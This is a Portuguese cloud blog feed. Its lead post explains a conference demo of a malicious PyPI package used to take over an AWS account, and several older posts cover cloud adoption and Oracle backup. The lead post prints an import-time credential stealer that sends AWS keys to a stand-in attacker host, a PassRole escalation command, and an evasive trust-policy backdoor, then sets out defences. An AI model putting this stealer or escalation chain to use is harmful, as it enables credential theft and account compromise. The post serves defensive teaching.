Cloud on Café Com Cloud

De pip install a Root: anatomia de um ataque de supply chain na AWS

Mon, 29 Jun 2026 09:00:00 -0300

A cena é familiar: você adiciona uma dependência no requirements.txt do seu pipeline de CI/CD, roda pip install, e o instalador termina sem warnings, com todas as dependências resolvidas. Cinco minutos depois, alguém na internet está autenticado na sua conta AWS, montou uma Lambda com permissões administrativas e fez dump da tabela de PII de clientes, e você não rodou mais nada nesse intervalo além daquele único pip install.

Eu mostrei exatamente isso ao vivo no AWS Community Day Brasil 2026 no último sábado 27 de junho. O evento foi sensacional, muito bem organizado e fiquei bem feliz por ver tantas pessoas querendo ganhar conhecimento em AWS. Este post é o passo a passo do ataque e o passo a passo da defesa.

Por que isso importa

Ataques de supply chain têm crescido ano sobre ano com regularidade publicada por relatórios da indústria, e o incidente do LiteLLM em março de 2026 é um exemplo público recente que ilustra o padrão: o pacote litellm no PyPI foi comprometido durante uma janela de aproximadamente cinco horas, com um credential stealer publicado em duas versões maliciosas (1.82.7 e 1.82.8) que executavam no momento do import litellm, vazando chaves AWS, chaves SSH e tokens de orquestração para infraestrutura controlada pelos atacantes em todos os ambientes que fizeram pip install litellm durante a janela sem version pinning. A própria LiteLLM publicou disclosure do incidente em docs.litellm.ai/blog/security-update-march-2026 com IoCs documentados e janela de comprometimento confirmada.

O detalhe que costuma passar batido nessa categoria de ataque é que o alvo são identidades de CI/CD especificamente, não as credenciais de aplicação em produção. CI/CD é onde estão as identidades mais privilegiadas do ambiente, porque pipelines de deploy precisam criar Lambdas, atualizar policies e fazer PassRole para uma variedade grande de roles, o que dá a essas identidades um IAM access mais largo do que qualquer aplicação em produção. Ao mesmo tempo, esses mesmos pipelines rodam código de terceiros (pacotes do PyPI, do npm) de forma rotineira como parte do build, o que cria a superfície de ataque exata: privilégio alto combinado com execução de código não auditado.

A função IAM que processa o seu deploy provavelmente tem iam:PassRole em Resource: * e iam:UpdateAssumeRolePolicy, porque a alternativa de mapear cada PassRole específico que algum deploy futuro pode precisar é trabalhosa e raramente é feita corretamente em pipelines maduros. Se um pacote malicioso conseguir executar dentro dessa função, ele herda essas permissões e usa elas a favor dele, o que significa que você acabou de dar root para alguém que nunca interagiu diretamente com a sua infraestrutura.

A diferença pra outros tipos de breach é que aqui você não foi hackeado por um atacante externo que descobriu uma vulnerabilidade na sua aplicação. Você instalou voluntariamente o seu próprio compromisso, com pip install, executando o exato mesmo comando que vai rodar mais cem vezes nos próximos meses sem nunca disparar uma única revisão.

A kill chain ao vivo

Na demo eu rodei a cadeia completa em três terminais coloridos lado a lado: vítima em verde, atacante em vermelho, defensor em ciano. Os oito passos abaixo seguem a ordem cronológica da execução, com o detalhe técnico do que acontece em cada um.

1. Vítima instala um pacote. O pacote chamado aws_lambda_utils_helpers parece um helper utilitário para funções Lambda, com nome plausível o suficiente para passar despercebido em uma code review de dependências:

1

pip install aws_lambda_utils_helpers

A instalação termina sem warnings, scanners de pacotes baseados em assinaturas conhecidas não detectam nada porque o pacote é novo o suficiente para não ter sido catalogado ainda, e o setup.py não contém nada visivelmente malicioso para quem fizer uma inspeção rápida.

2. O código importa o módulo. Quando a aplicação faz from lambda_helpers import format_response durante a execução real (em uma Lambda, em um container ECS, ou no runner de CI/CD), o Python executa o __init__.py do pacote antes de devolver o módulo importado, e é nesse momento que o payload é executado, não durante o pip install original, que apenas copia arquivos para o filesystem sem invocar nenhum código de aplicação.

O conteúdo do __init__.py em uma versão simplificada para o post:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


import os, socket, json, threading

def _exfil():
 creds = {
 "key": os.environ.get("AWS_ACCESS_KEY_ID"),
 "secret": os.environ.get("AWS_SECRET_ACCESS_KEY"),
 "token": os.environ.get("AWS_SESSION_TOKEN"),
 }
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect(("attacker.example.com", 4444))
 s.send(json.dumps(creds).encode())

threading.Thread(target=_exfil, daemon=True).start()

A escolha de uma thread daemon é deliberada, porque o processo principal segue normalmente, a aplicação responde com latência esperada e nenhum efeito observável aparece nos logs da Lambda, enquanto as credenciais vazam em paralelo por TCP raw para o endpoint controlado pelo atacante.

3. As variáveis de ambiente já estão lá. Em toda Lambda, todo container ECS, todo deploy runner de CI/CD, as credenciais STS estão expostas como variáveis de ambiente porque é a forma padrão que o SDK e o CLI da AWS consomem credenciais nesses contextos. O pacote malicioso só precisa ler os.environ, sem necessidade de explorar vulnerabilidade no host nem de escalar privilégio no nível do sistema operacional, porque as credenciais já estão entregues pelo runtime exatamente no formato que o código de exfiltração precisa.

4. Atacante valida o que recebeu. Do lado do atacante, um nc -l 4444 captura o JSON que chega pelo socket, e o primeiro reflex é rodar aws sts get-caller-identity com as credenciais capturadas, confirmando que está autenticado como cicd-deploy-role e validando que o token STS ainda está ativo dentro do TTL de uma hora antes de prosseguir.

5. Reconhecimento. O atacante roda enumeração para mapear o que essa identidade pode fazer: quais Lambda functions já existem, quais roles têm permissões administrativas, e quais dessas roles confiam em lambda.amazonaws.com no trust policy e portanto podem ser executadas via Lambda. Um padrão muito comum em contas de produção é existir pelo menos uma role legada com AdministratorAccess que confia em Lambda, geralmente criada para algum projeto antigo ou em algum momento em que alguém precisou debugar algo “rápido” e nunca foi removida depois. Vou chamar essa role de data-pipeline-role.

6. PassRole + CreateFunction = admin. O CI/CD identity tem iam:PassRole on * porque pipelines de deploy precisam fazer PassRole para Lambdas variadas, e tem lambda:CreateFunction pela mesma razão. O atacante combina os dois em uma única chamada que cria uma Lambda nova passando a data-pipeline-role como execution role:

1
2
3
4
5
6


aws lambda create-function \
 --function-name exfil \
 --role arn:aws:iam::123456789012:role/data-pipeline-role \
 --runtime python3.12 \
 --handler index.handler \
 --zip-file fileb://payload.zip

A Lambda agora executa como data-pipeline-role, que carrega AdministratorAccess via trust policy de Lambda, e invocar a função dispara o payload do atacante com permissões totais na conta AWS. Em menos de 30 segundos depois do import malicioso, o atacante tem o equivalente operacional a admin na conta.

7. Smash and grab. O payload da Lambda escaneia a tabela DynamoDB de clientes e dumpa as linhas de PII de volta para o endpoint do atacante. Na demo do Community Day eu mostrei 8 registros, mas o mesmo código funciona com 8 milhões, dado que a Lambda paga pelo seu próprio compute e o atacante não usa nem um byte de quota da conta dele para o processamento. Cinco minutos do pip install original até as linhas de PII saindo da sua conta AWS pelo socket de exfiltração.

8. Persistência. O atacante sabe que as credenciais STS de CI/CD têm TTL de uma hora e que daqui a pouco ele perde acesso pela rotação natural do token, então enquanto ainda tem as credenciais de CI/CD ativas (que carregam iam:UpdateAssumeRolePolicy no policy, exatamente a permissão que o passo 6 não chegou a usar), ele edita o trust policy da data-pipeline-role para confiar em uma role que ele controla, que pode ser uma role em uma conta dele ou, no padrão mais sofisticado, uma role same-account com uma sts:ExternalId condition específica. Quando as credenciais originais expirarem pela rotação, o backdoor continua plantado, e ele consegue voltar pela porta dos fundos assumindo essa role-de-trás a qualquer momento futuro.

A escolha de same-account com ExternalId condition é deliberada para evitar detecção, porque detectores de “external trust” como o AWS Access Analyzer disparam alerta quando uma role passa a confiar em um principal de outra conta ou em *, mas trust de same-account com Principal específico e ExternalId condition passa direto pelos heurísticos desses scanners. Você não vê alarme no console, o time de segurança não recebe ticket automático, e a persistência fica plantada esperando o atacante voltar quando quiser.

Três camadas de defesa

Nenhuma das camadas abaixo bloqueia 100% dos ataques sozinha, mas implementadas em conjunto elas bloqueiam algo em torno de 90% dos ataques desse padrão específico. Eu listo na ordem do mais cedo no kill chain para o mais tarde, porque o ROI da defesa cai conforme você atrasa a detecção dentro da cadeia.

Camada 1: higiene de supply chain. O ataque só funciona se o pacote malicioso entrar na sua build, então a primeira camada controla exatamente o que entra:

Cooldowns em pacotes novos, com versões publicadas há menos de N dias (eu uso 7 como default) bloqueadas no seu proxy interno de pacotes (Nexus, Artifactory, ou AWS CodeArtifact), porque atacantes precisam que o pacote seja instalado rapidamente depois do compromise para capturar o máximo de credenciais antes do PyPI remover o pacote do registry. Um cooldown de uma semana derrota a janela de oportunidade desses ataques.
Pin de versão estrito, com aws_lambda_utils_helpers==1.2.3 em vez de aws_lambda_utils_helpers>=1.2.0, combinado com hash check no requirements.txt ou no equivalente do seu gerenciador (Poetry lock, package-lock.json, etc.), garantindo que o build de hoje vai consumir exatamente o mesmo pacote que o build de ontem em vez de aceitar silenciosamente uma versão nova publicada nesse meio tempo.
Audit dos imports recentes, que não é review do que está no requirements.txt há anos (o catálogo histórico), mas review do que entrou no requirements.txt semana passada, quem adicionou, e por quê. A maior parte do risco está concentrada nos imports novos, não nos imports antigos que já passaram por múltiplos builds e múltiplos olhos.

Camada 2: identity hardening. Se o pacote malicioso já está rodando dentro do seu Lambda ou container CI, a defesa precisa ser IAM, e foca em duas mudanças específicas no policy do CI/CD identity:

Escope iam:PassRole para um conjunto fechado de roles seguras em vez de Resource: *, idealmente uma role única (cicd-lambda-safe-role) que carrega apenas as permissões mínimas necessárias para execução de Lambdas de aplicação. Com PassRole escopado dessa forma, a data-pipeline-role (que tem AdministratorAccess via legado) simplesmente não está no conjunto de roles que o atacante pode passar para uma função Lambda nova, e a escalada para admin falha com AccessDenied no momento do CreateFunction.
Remova iam:UpdateAssumeRolePolicy do policy do CI/CD, porque pipelines legítimos quase nunca precisam modificar trust policies de roles existentes. Eles criam roles novas, sim, mas modificar trust de uma role que já existe é uma operação rara e suspeita por padrão, e quando você remove essa permissão a persistência via backdoor de trust policy quebra no passo 8 da cadeia.

Essas duas mudanças no JSON do policy do CI/CD quebram o kill chain inteiro a partir do passo 4: PassRole escopado bloqueia a escalada para admin no momento de criar a Lambda exfiltradora, e UpdateAssumeRolePolicy removido bloqueia a persistência por backdoor. O atacante ainda consegue rodar a exfiltração inicial de credenciais (passos 1 a 4 da cadeia), mas perde a capacidade de transformar isso em comprometimento total da conta.

Camada 3: runtime detection. Mesmo com as duas camadas anteriores aplicadas, você não deve confiar que o policy está perfeitamente escrito, e portanto monitora a execução real:

CloudTrail e Athena (ou o equivalente da sua stack de observabilidade) com alarme em CreateFunction ou UpdateFunctionConfiguration chamado por uma identidade de CI/CD em produção fora da janela esperada de deploy. Em uma conta saudável, esses eventos têm frequência baixa e perfil temporal previsível, então qualquer chamada fora desse perfil tem sinal alto e merece investigação imediata.
Alarme em UpdateAssumeRolePolicy sem exceção. Esse evento é raríssimo em uma conta de produção bem operada, e qualquer ocorrência merece olhada humana imediata mesmo quando vem de uma identidade conhecida, porque é exatamente o evento que sinaliza tentativa de persistência por backdoor de trust policy.
Network egress monitoring no nível de Lambda Functions e ECS tasks, porque conexões TCP raw saindo para IPs não-AWS são suspeitas por padrão. Ferramentas como AWS Network Firewall ou tooling de DPI no VPC permitem alarmar ou bloquear esse padrão antes que as credenciais saiam efetivamente do perímetro.

Você já foi comprometido?

Se você está lendo isso e suspeita que pode ter sido afetado por um ataque parecido nos últimos meses, três queries imediatas pra rodar no CloudTrail antes de continuar: (1) chamadas de iam:CreateFunction ou iam:UpdateAssumeRolePolicy saindo do seu CI/CD identity fora da janela de deploy esperada nos últimos 90 dias, (2) sts:AssumeRole recente vindo de IPs fora dos ranges AWS conhecidos, e (3) modificações em trust policy de roles que carregam permissões administrativas. Qualquer um desses três sinais é razão para acionar o time de segurança e rotacionar credenciais antes de fazer qualquer outra coisa.

Três ações pra segunda-feira

Você terminou de ler o post, e o post só tem valor real se você fizer alguma coisa concreta com ele. Aqui estão três ações que você pode executar na segunda-feira de manhã:

1. Liste as roles que têm iam:PassRole com Resource: * usando a sua ferramenta preferida (AWS CLI, Steampipe, CloudQuery, Access Analyzer, ou o que sua organização padronizou para inventário de IAM). Você provavelmente vai descobrir que mais de uma role tem essa permissão tão aberta, e a recomendação é começar pelas identidades de CI/CD porque são as que mais expõem você ao padrão de ataque descrito neste post.

2. Liste as roles que têm iam:UpdateAssumeRolePolicy com a mesma ferramenta, e para cada uma delas faça a pergunta direta: essa role realmente precisa dessa permissão em produção, ou ela foi concedida em algum momento por conveniência e nunca foi reavaliada depois? A resposta correta para quase todas é “não precisa”, e a ação correspondente é remover.

3. Audita os pacotes que entraram no seu requirements.txt ou no package.json nos últimos 30 dias, e para cada pacote novo responda: foi publicado quando? Por qual autor? O autor tem outras publicações antes desta? O pacote tem versões anteriores históricas, ou é versão única recente sem histórico de releases? Pacotes que se encaixam no perfil de “versão única, recente, autor sem histórico” merecem investigação manual cuidadosa antes de você aprovar o próximo build com eles incluídos no requirements.

O trabalho total fica em torno de três horas, considerando que você gasta uma hora em cada ação acima. Custo: três horas de tempo de engenharia. Proteção: 90%+ dos ataques de supply chain do formato descrito neste post bloqueados estruturalmente. É provavelmente o melhor ROI de segurança que você consegue produzir esse mês com o tempo de engenharia disponível na sua agenda.

Slides e demo

A apresentação completa com os 11 slides e a demo ao vivo dos três terminais está disponível como deck navegável: Deck completo da apresentação. Use as setas do teclado para navegar entre slides, e a tecla F para fullscreen.

Até a próxima, Leo

Um how-to da AWS

Wed, 14 Nov 2018 17:01:29 -0200

Eu sei que vocês ouviram falar do outage da Amazon numa loja específica durante a migração de Oracle pra Aurora. Mas o que vocês não ouviram é: eles já migraram 88% do parque Oracle deles pra Aurora, e o único problema real foi o que veio a público (claro).

Então, se você quer dar uma olhada nesse how-to, como usar o serviço AWS DMS, pega um café e segue o link abaixo:

https://aws.amazon.com/blogs/database/best-practices-for-migrating-an-oracle-database-to-amazon-rds-postgresql-or-amazon-aurora-postgresql-migration-process-and-infrastructure-considerations/

Falamos,

Por que considerar cloud. Hoje.

Mon, 20 Aug 2018 10:44:16 -0300

Beleza. Você abriu esse post, eu tenho sua atenção por talvez 1 minuto no máximo, e eu espero que você não esteja rolando a página pra baixo fazendo aquela leitura rápida.

Eu não vou te dizer que migrando pra cloud você vai economizar budget comparado com arquiteturas on-premises, porque às vezes isso não é verdade. Eu não vou dizer pra você que 4 centavos por gig é um ótimo valor, porque quando você multiplica isso por um milhão ou um trilhão (petabytes) você vai ter um problema nas mãos.

O que eu vou te dizer é por que, sério, você precisa pensar em cloud hoje. Não deixa pra amanhã. Gasta 3 minutos aqui comigo, hoje. Bora?

Quer saber o que é realmente legal e incrível em cloud computing? Beleza. Em cinco anos (ou talvez na semana que vem), você como profissional sênior de TI está conversando com seu filho ou filha, que também trabalha com TI, lembrando da “era de ouro”, dos “bons e velhos tempos”, da “velha escola”. Aqui está o que vocês vão conversar:

-- Olha filho, quando eu tinha sua idade, um belo dia meu chefe entrou na minha sala gritando comigo (porque alguém estava gritando com ele) “Precisamos disponibilizar esses servidores hoje!! Já temos o código pronto, uma aplicação bonitona e colorida que vai engajar 5 vezes mais clientes pra gente, e precisamos fazer o deploy da infraestrutura hoje”. O que eu pensava? Se tudo já tinha sido comprado, isso significava uma noite/madrugada/manhã perdida, 2 talvez 5 gramas de cafeína, níveis altos de cortisol, e meu trabalho ia ser:

desencaixotar tudo e me virar dentro do datacenter
instalar fisicamente os servidores, firewalls, balanceadores de rede, cabeamento, e fazer eles receberem AC power pela primeira vez
se nada explodisse, todas as luzes verdes e tudo 5 por 5, era hora de instalar e configurar tudo: OS, regras de firewall, storage, rede, últimos patches, e teste, teste, teste.
se tudo desse certo, eu agora deveria ter 2 talvez 3 servidores, disponíveis pra receber o código. São 11 da manhã, meu chefe está gritando comigo de novo (não é culpa dele, é um momento crítico), mas depois de 12 horas eu virei um herói e nossa aplicação nova e colorida está rodando sem nenhum problema.

-- O quê??? 10 horas, pai? E você não foi demitido?

-- Não filho, eu virei herói. Como você faria tudo isso hoje?

-- 5 cliques, 15 minutos de trabalho, sendo pessimista.

Em 2006, quando a AWS lançou o EC2, o jogo começou a mudar, meus amigos. TI e Negócio começaram a fazer as pazes, andando de mãos dadas um com o outro. TI não é mais “aquele lugar ruim, com pessoas chatas que todo dia falam NÃO pra mim”. Agora a TI são os caras bons. Os caras do “vamos fazer”. Por quê? Porque você não precisa mais gastar 10 horas. Com 10 cliques e alguns minutos você tem o trabalho feito. É incrível, né?

Beleza. Alguns de vocês agora estão pensando “mas eu tenho um ambiente virtualizado”, eu rodo um hypervisor. Eu tenho templates e automação pra fazer esse trabalho em minutos também.

Mas e a capacidade da sua fazenda? Você tem cores, RAM e disco suficientes pra fazer deploy de algo que vira realidade hoje? Você precisa fazer planejamento anual de capacidade, comprar e disponibilizar toda essa capacidade pra um dia, talvez, consumir ela?

Se você não consegue expandir sua fazenda hoje, mas seu concorrente consegue, como isso pode afetar seus objetivos de negócio? Num mundo do hoje, agora, esse segundo, você pode realmente esperar horas/dias/semanas pra ter sua infraestrutura pronta?

Virtualização é incrível. Virtualização mudou o jogo no passado. Mas virtualização on-premises não tem uma coisa muito importante. Hyperscale. Você precisa de mil cores hoje? Beleza. Você precisa de 2TB de memória hoje? Beleza. Você precisa de 800TB de disco hoje porque alguém achou que fazer deploy de um cluster Hadoop gigante hoje é uma boa ideia? Beleza.

Provedores de cloud estão comprando, em escala de milhões, servidores, discos, CPUs novos em folha, pesquisando e desenvolvendo novas ofertas de PaaS e SaaS. Tudo pra fazer seu departamento de TI ser o melhor amigo do negócio.

Cloud não é só sobre economia. Cloud é sobre passar à frente da concorrência. Cloud não é um lugar onde todo mundo é feliz e você deveria ser feliz lá também. Cloud é uma ferramenta. E você deveria considerar usar essa ferramenta. Hoje.

Falamos!

Backup na era cloud - o que está mudando?

Wed, 20 Dec 2017 13:07:05 -0200

E aí, beleza!

Espero que esse post te encontre bem. Esses dias um dos meus clientes me pediu pra aconselhar ele sobre procedimentos e soluções de backup/restore num ambiente novo rodando na AWS.

Bancos de produção vão rodar em instâncias EC2, em Oracle com BYOL (bring your own license). O cliente está pensando em soluções de EBS (Elastic Block Storage) ou S3 (Simple Storage Service).

Snapshots no mundo Oracle normalmente são usados em conjunto com operações de begin/end backup. Se você tira só 1 snapshot por dia, e não está disposto a perder 24h de dados commitados, você precisa ter uma segunda estratégia de backup. Existe um produto oferecido pela N2WS que é bem incrível pra orquestrar, agendar e controlar os snapshots, você pode configurar pra tirar uma foto a cada 5 min, o que geralmente é menor que um RPO de negócio. Mas e quanto a uma corrupção lógica, um delete errado feito no fim de semana passado? Como restaurar isso? Você precisa reter snaps por uma semana, talvez um mês, talvez um ano, restaurar esse snap em outra instância EC2 e restaurar os dados manualmente. Parece caro, né?

O jeito do mundo ideal, vindo da documentação, é fazer deploy do OSBCS Oracle Secure Backup Cloud Service. Essa opção (paga) te dá a habilidade de usar S3 como tape, então ajustes mínimos precisam ser feitos pra migrar sua estratégia de backup pra cloud. Você precisa configurar e instalar o OSBCS em cada instância EC2, ajustar seus channels pra usar o OSBCS, e tá pronto pra ir! Retention do RMAN, catalog, tudo flui bonito se você escolher pagar por essa opção. Como o OSBCS é cobrado? Por Channel.

Então, se você tem 100 bancos, você pode comprar por exemplo 10 channels, e fazer 1 backup por vez com 10 channels, ou 10 backups por vez com 1 channel, ou 2 backups por vez com 5 channels, ou 5 backups por vez com 2 channels, ou.. você pegou a ideia.

Comentários são bem vindos =]

Falamos,

Hang.

Documento de datas de release foi atualizado!!

Mon, 13 Mar 2017 18:33:13 -0300

Continuando o post do Hanganalyze: 12.2 on-prem disponível para download, vemos que o documento de data de release foi atualizado no MOS (742060.1).

Basicamente Oracle 12.2 foi lançado para cloud (em março de 2017 para on-premises) e 12.2 tem suporte até 2021.

Então agora é hora de pensar e planejar o upgrade dos bancos 11.2.0.4 e 12.1.0.2, claro que se a aplicação for compatível também! :-)

Lembrem que agora o programa de Recertificação da Oracle segue as datas de schedule (mais informação vocês podem ver nesse video).